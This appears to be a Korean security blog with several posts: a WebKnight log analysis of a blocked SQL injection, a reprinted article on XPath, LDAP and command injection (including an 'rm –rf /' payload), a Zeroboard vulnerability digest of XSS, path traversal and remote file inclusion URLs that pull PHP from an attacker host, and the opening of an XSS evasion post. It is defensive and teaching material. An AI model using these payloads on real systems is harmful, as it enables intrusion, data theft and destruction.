03:21:39 ; W3SVC1 ; OnPreprocHeaders ; ***.***.***.*** ; ; GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ; ASPSESSIONIDAQDBDDAD=EDIAJJBAFOHJCEKKEMBNCEJD

1. 시간 : 03:21:39

2. 웹사이트 식별자 : W3SVC1

3. 이벤트 : OnPreprocHeaders

4. 클라이언트 IP주소 : ***.***.***.***

5. 사용자 명 : 내용 없음

6. 이벤트와 관련된 자세한 사항 : GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring

로그 마지막에 'HTTP/1.1….' 부분은 크게 염두할 사항이 아니므로 과감히 잘라냈습니다. 위의 예제 로그를 분석해 보면 GET 방식으로 전달 받은 변수값에 SQL 인젝션 코드가 삽입되어 있어 웹나이트에 의해 클라이언트의 접근이 차단된 것임을 알 수 있습니다. 아마 URL을 직접 변조하여 SQL 인젝션을 시도했던 모양입니다…-_-;;

만일 로그 분석을 통해 공격 시도가 확인되었다면 서버 관리자는 공격자의 IP주소를 발췌하여 한국인터넷진흥원(NIDA) WHOIS 페이지(http://whois.nida.or.kr)에서 IP주소의 관리사와 관리자 그리고 제원을 확인해야 합니다.

조회된 정보를 살펴보면 하단에 네트워크 어뷰즈(Network Abuse) 담당자의 연락처와 이메일 주소를 확인하실 수 있을 겁니다. 보통 이 네트워크 어뷰즈 담당자의 이메일 주소로 귀사에서 관리하고 있는 네트워크 자원에서 SQL 인젝션 공격(또는 해킹 공격)이 접수되었다는 내용의 메일을 발송해 줍니다.

메일 내용에는 공격자의 IP주소와 해당 서버의 IP주소, 공격이 확인된 시간과 자세한 로그(웹나이트 로그에서 필요한 부분만 발췌하면 되겠죠?) 등을 반드시 동봉해 주어야 합니다.

만일 공격자의 IP주소를 국내 기관에서 관리하고 있다면 보통 처리 결과에 대한 회신이 1~2주 이내로 도착할 것입니다. 해외 기관에서 관리하고 있을 경우에는 처리 결과에 대한 구체적인 회신은 없을지라도 약 70% 이상 내부적으로 조치가 완료되니 너무 염려하지 마시구요.(참고로 해당 ISP 업체가 막장인 경우에는… 답이 없습니다.)

* 참고로 해외 기관에서 관리하고 있는 IP주소일 경우 한국인터넷진흥원 WHOIS 페이지에서 바로 조회 결과가 출력되지 않습니다. 해당 IP주소에 대한 정보 대신 조회해 볼 수 있는 해외 기관의 웹사이트 주소가 출력되는데. 해당 웹사이트로 이동하셔서 다시 한 번 IP주소에 대한 정보를 조회해 보시기 바랍니다.

이제 가장 중요한 것은 재접근 자체를 원천봉쇄 하는 것입니다. 서버 앞 단에 방화벽 장비 등이 이미 설치되어 있다면 정말 베스트겠죠?(방화벽 장비가 설치되어 있지 않다면 윈도우즈 방화벽, IPSEC, IIS 설정 등으로 차단할 수 있습니다만, 역시 방화벽 장비가 쵝오…!)

만일 로그 분석을 통해 확인된 공격자의 IP주소가 123.123.123.123 이라며 단순히 123.123.123.123 IP주소만 차단할 것이 아니라 C클래스, 즉 123.123.123.0 부터 123.123.123.255 까지 대역 자체를 차단하는 것이 좋습니다.

그 이유는 공격자의 IP주소가 해커의 손아귀에 들어간 흔히 말하는 좀비 서버의 IP주소라면 같은 세그먼트에 연결되어 있는 다른 서버 역시 좀비 서버가 되었을 가능성이 높기 때문입니다. 보통 같은 세그먼트에 연결된 서버끼리는 포트뿐만 아니라 IP 자체를 오픈해 놓는 경우가 많습니다. 포트스캐닝 프로그램만 한 번 돌려보면 손쉽게 다음 타겟을 찾을 수 있지요.

2. 새로운 해킹 동향에 대해 관심을 가져주세요.

어떤 분께서 이런 말씀을 하시더라구요. '보안은 곧 관심이다.' 라고요. 저는 이 말에 100배 공감합니다. 새로운 해킹 수법은 이미 그 피해 사례가 확대되기 전에 설이 풀리기 마련입니다. 물론 그 설에는 다양한 정보들이 내포되어 있습니다.

새로운 해킹 수법에 의한 피해 사례는 보통 국내 보다는 해외에서 먼저 발견되는 경우가 많습니다. 보통 일본과 미국 쪽에서 먼저 리포팅 되곤 하는데 영어의 압박이 있긴 합니다만 해석이 불가능 할 정도로 어려운 글들은 아닙니다. 사실 우리가 보안과 관련해서 사용하는 용어들도 영어가 많기 때문에 그나마 위안으로 삼으시면…-_-;;

그리고 이런 정보들이 국내 IT 보안 전문 업체나 해커들에 의해 해석되고, 분석되서 손쉽게 재가공된 정보가 검색될 때도 국내 피해 사례는 그렇게 크지 않습니다.(거의 없다고 봐도 무방할 정도로…) 늦지 않았다는 얘기지요. 이번 쿠키 변조를 통한 Mass SQL 인젝션도 그랬고, 그 이전에 Mass SQL 인젝션도 그랬습니다.

관심을 갖는다면 충분히 사전에 예방할 수 있습니다. 음… 제가 시간 날 때마다 방문하는 웹사이트 몇 군데를 소개해 드릴까 합니다.

- http://www.secureworks.com/research/threats/
- http://www.nchovy.kr/
- http://swbae.egloos.com/
- http://www.krcert.or.kr/index.jsp
- http://www.us-cert.gov

No trackbacks, No comments.

Malicious Code Injection: It’s Not Just for SQL Anymore

해킹&보안/SQL 인젝션 | 2009/08/26 17:43

SQL뿐 아니라 LDAP에 대한 Injection code를 소개합니다

Malicious Code Injection: It’s Not Just for SQL Anymore

by: Bryan Sullivan

More and more, developers are becoming aware of the threats posed by malicious code, and SQL injection in particular, and by leaving code vulnerable to such attacks. However, while SQL is the most popular type of code injection attack, there are several others that can be just as dangerous to your applications and your data, including LDAP injection and XPath injection. While these may not be as well-known to developers, they are already in the hands of hackers, and they should be of concern.

In addition, much of the common wisdom concerning remediation of malicious code injection attacks is inadequate or inaccurate. Following these flawed recommendations will not improve the security of your application, but will only leave you with a false sense of security until the next time your application is compromised and your data is stolen, erased, or tampered with. It is important for developers to acquaint themselves with all code injection types that exist as well as the proper ways to fix any vulnerabilities to malicious code.

The Basic Premise of All Code Injection Types

Many people mistakenly think that they are safe from malicious code injection attacks because they have firewalls or SSL encryption. However, while a firewall can protect you from network level attacks, and while SSL encryption can protect you from an outside user intercepting data between two points, neither of these options offers any real protection from code injection attacks. All code injection attacks work on the same principle: a hacker piggybacks malicious code onto good code through an input field in the application. Therefore, the protection instead has to come from the code within the application itself.

There are many motives that hackers using malicious code injection attacks may have. They may wish to access a website or database that was intended only for a certain set of users. They may also wish to access a database in order to steal such sensitive information as social security numbers and credit cards. Other hackers may wish to tamper with a database – lowering prices, for example, so they can steal items from an e-commerce site with ease. And once an attacker has gained access to a database by using malicious code, he may even be able to delete it completely, causing chaos for the business that has been attacked.

The root of all code injection problems is that developers put too much trust into the users of applications. A developer should never trust the user to operate the application in a safe manner. There will always be someone who is looking to use malicious code in an exploitative manner.

Looking Beyond SQL Injections

Aside from SQL injections, there are several other types of malicious code injection attacks with which developers must become familiar. Three of these types of dangerous malicious code injections are XPath injection, LDAP injection, and command execution injection.

An XPath injection attack is similar to an SQL injection attack, but its target is an XML document rather than an SQL database. The attacker inputs a string of malicious code meant to trick the application into providing access to protected information. If your website uses an XML (Extensible Markup Language) document to store data and user input is included in an XPath query against that document, you may be vulnerable to an XPath injection.

For example, consider the following XML document used by an e-commerce website to store customers’ order history:

<? xml version = " 1.0" encoding =" utf-8" ?>
< orders >
< customer id = " 1" >
< name > Bob Smith </ name >
<email>bob.smith@bobsmithinc.com</email>
<creditcard> 1234567812345678 </creditcard>
<order>
<item>
<quantity> 1 </quantity>
<price> 10.00 </price>
<name> Sprocket </name>
</item >
<item >
<quantity> 2 </quantity>
<price> 9.00 </price>
<name> Cog </name>
</item>
</order>
</ customer >
…
</ orders >

The website allows its users to search for items in their order history based on price. The XPath query that the application performs looks like this:

string query = "/orders/customer[@id='" +
customerId + "']/order/item[price >= '" +
priceFilter + "']";

If both the customerId and priceFilter values have not been properly validated, an attacker will be able to exploit the XPath injection vulnerability. Entering the following value for either value will select the entire XML document and return it to the attacker:

'] | /* | /foo[bar='

With one simple request, the attacker has stolen personal data including e-mail addresses and credit card numbers for every customer that has ever used the website. Blind XPath injection attacks, like blind SQL injection attacks, are possible, but in situations like our example they’re not even necessary. XPath queries do not throw errors when the search elements are missing from the XML document in the same way that SQL queries do when the search table or columns are missing from the SQL database. Because of the forgiving nature of XPath, it can actually be easier for an attacker to use malicious code to perform an XPath injection attack than an SQL injection attack.

LDAP Injection and Command Execution
Like SQL injection for SQL databases and XPath injection for XML documents, LDAP injection attacks provide the malicious user with access to an LDAP directory, through which he or she can extract information that would normally be hidden from view. For example, an attacker could possibly uncover personal or password-protected information about a professor listed in the directory of a collegiate site. A hacker using this technique may rely on monitoring the absence and presence of error messages returned from the malicious code injection to further pursue an attack.

Some examples of LDAP injection clauses are:

*
)(|(cn=*)
)(|(objectclass=*)
)(|(homedirectory=*)

Finally, command execution can also provide the means for malicious code injection. Many times, a website calls out to another program on the system to accomplish some kind of goal. For example, in a UNIX system, the finger command can be used to find out details about when a user was last on the system, for how long, and so on. A user could, in this case, attach malicious code to the finger command and gain access to the system and its data process. So, the command:

finger bobsmith

becomes:

finger bobsmith; rm –rf /

which will attempt to delete every file on the system.

Preventative Measures: The Good and the Bad
Several preventative actions have commonly been suggested to developers to protect applications from malicious code injection, but many of these have proven inadequate. For example, developers are told that turning off error messages can prevent code injection attacks, which is untrue. Some code injection attacks do not rely on error messages at all. These attacks are called “blind” injections. Since blind injection attacks can succeed even if error messages are suppressed, turning off error messages simply makes the application more obscure for the legitimate user while leaving data vulnerable to attack.

In addition, it is often said that using stored procedures for SQL calls can help remove vulnerabilities to SQL injections. This approach is easy to take with many applications – Oracle databases allow the user to write stored procedures in Java, while Microsoft SQL Server 2005 allows stored procedures to be written in .NET languages like C#. While there are many good reasons to use stored procedures, they do not solve the problem of SQL injection on their own. Using stored procedures simply shifts the burden of the problem onto the stored procedures. The complicated languages that allow the writing of stored procedures also are open to programming mistakes – mistakes that can lead to code injection vulnerability. The bottom line is that the developer has the responsibility to ensure that the data that is being passed to a database is safe and secure, so more steps must be taken at this stage.

The only real way to defend against all malicious code injection attacks is to validate every input from every user. While establishing a list of “bad” input values that should be blocked (a blacklist) may seem like an appropriate first step, this approach is extremely limited. A finite list of problems simply gives hackers the opportunity to discover ways around your list. There is simply no way to make sure that you are covering every possibility with your blacklist, so you are still leaving the application vulnerable to malicious code injections.

The correct way to validate input is to start instead with a whitelist – a list of allowable options. For example, a whitelist may allow usernames that fit within specific parameters – only eight characters long with no punctuation or symbols, and so on. This can reduce the surface area of a malicious code injection attack by specifying the proper format for the input into the field. The application can then reject input that does not fit the established format. This approach (unlike a blacklist) can prevent not only known, current attacks but also unknown, future attacks.

To be completely thorough, a developer should set up both white- and blacklists in order to cover all bases. In this way, the whitelist can be used to block the majority of attacks, while the blacklist can cover specific edge cases not handled by the whitelist. To protect against SQL injection, a whitelist could allow only alphanumeric input, while a “backup” blacklist could specifically disallow common SQL verbs like SELECT and UPDATE.

Conclusion
Developers may already be aware of SQL injections, but they may not be considering other types of malicious code injection attacks when creating a web application. Many applications are therefore left vulnerable to attack. A good developer should familiarize him or herself with other types of code injection, including LDAP injection and XPath injection, as well as the best ways to stop these attacks. In this way, applications can be made more secure at the start of the development process, and data will be protected.

About the Author

Bryan Sullivan is a development manager at SPI Dynamics, a Web application security products company. Bryan manages the DevInspect and QAInspect Web security products, which help programmers maintain application security throughout the development and testing process. He has a bachelor’s degree in mathematics from Georgia Tech and 11 years of experience in the information technology industry. Bryan is currently coauthoring a book on Ajax security, which will be published in summer 2007.

No trackbacks, No comments.

제로보드 취약점 총정리

해킹&보안/취약점 | 2009/08/26 17:42

출처 SecurityPlus

게시판만들때 참고하면 많은 도움 됩니다

==============================================================================

안녕하세요. SecurityPlus입니다.

본 자료는 국내 해커 및 보안 강사로 활동 중인 이경태님께서 제공해 주셨습니다.

그럼, 많은 활용 바랍니다.

안녕히 계세요.

제로보드 취약점 총정리

■ 크로스사이트 스크립팅 취약점(2005.02.19)
The following proof of concept examples are available:
http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%
3C/script%3E

http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E

■ Print_Category.PHP 원격 File Include 취약점(2005.01.13)
http://www.example.com/[zeroboard]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/

■ DIR 파라미터 원격 File Include 취약점(2005.01.13)
The following proof of concept examples are available:
http://www.example.com/skin/zero_vote/error.php?dir=http://[ATTACKER]
http://www.example.com/skin/zero_vote/login.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/setup.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/ask_password.php?dir=http://[attacker]/

■ 다중 File Disclosure 취약점(2005.01.13)
http://www.example.com/_head.php?_zb_path=../../../../../etc/passwd%00
http://www.example.com/include/write.php?dir=../../../../../etc/passwd%00
http://www.example.com/outlogin.php?_zb_path=../../../../../etc/passwd%00

■ 다중원격 스크립트 삽입과 크로스사이트 스크립팅 취약점(2004.12.24)
http://www.example.com/outlogin.php?_zb_path=ftp://[attacker]/pub/
http://www.example.com/include/write.php?dir=http://[attacker]/
http://www.example.com/check_user_id.php?user_id=<script>alert(no_no_no_document.cookie)</sc
ript>

■ 악성 PHP 삽입(2002.06.14)
We checked the vulnerability with "http://BOARD_URL/_head.php?_zb_path=WANTED_TO_INCLUDE"
and
made a sample code, alib.php,

--------------------alib.php--------------
<? passthru("/bin/ls"); ?>
-----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a"

-------out put----------------------------
_foot.php _head.php admin admin.php admin_sendmail_ok.php admin_setup.php apply_vote.php
check_user_id.php comment_ok.php config.php data del_comment.php del_comment_ok.php
delete.php delete_ok.php download.php error.php icon image_box.php images
include index.html install.php install1.php install2.php install2_ok.php install_ok.php
latest_skin lib.php license.txt list_all.php login.php login_check.php
logout.php lostid.php lostid_search.php member_join.php member_join_ok.php member_memo.php
member_memo2.php member_memo3.php member_modify.php member_modify_ok.php
member_out.php open_window.php outlogin.php outlogin_skin schema.sql script
select_list_all.php send_message.php setup.php skin style.css view.php view_info.php
view_info2.php view_preview.php vote.php write.php write_ok.php zboard.php
zipcode
Fatal error: Call to undefined function: dbconn() in /home/morris/public_html/tmp/bbs/_head.php
on line 41
-----------------------------------------

■ PHP Include File 명령실행 취약점(2002.01.15)
PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a

No trackbacks, No comments.

다양한 방법의 XSS

해킹&보안/WEB 해킹 | 2009/08/26 17:40

다양한 XSS 방법들을 소개합니다

일반적으로 document.cookie 같은경우 대부분의 사이트에서 필터링 됩니다

이 사이트 역시 앞에 "no_"가 붙습니다

그럼 와 같은 형태는 어떻게 될까요?

아마 필터링 하기 어렵겠지요 아래예들은 이와같이 여러가지 자바스크립트들을 실행하기 위한 예들을 보여줍니다

XSS (Cross Site Scripting):

XSS locator

URL encoding calculator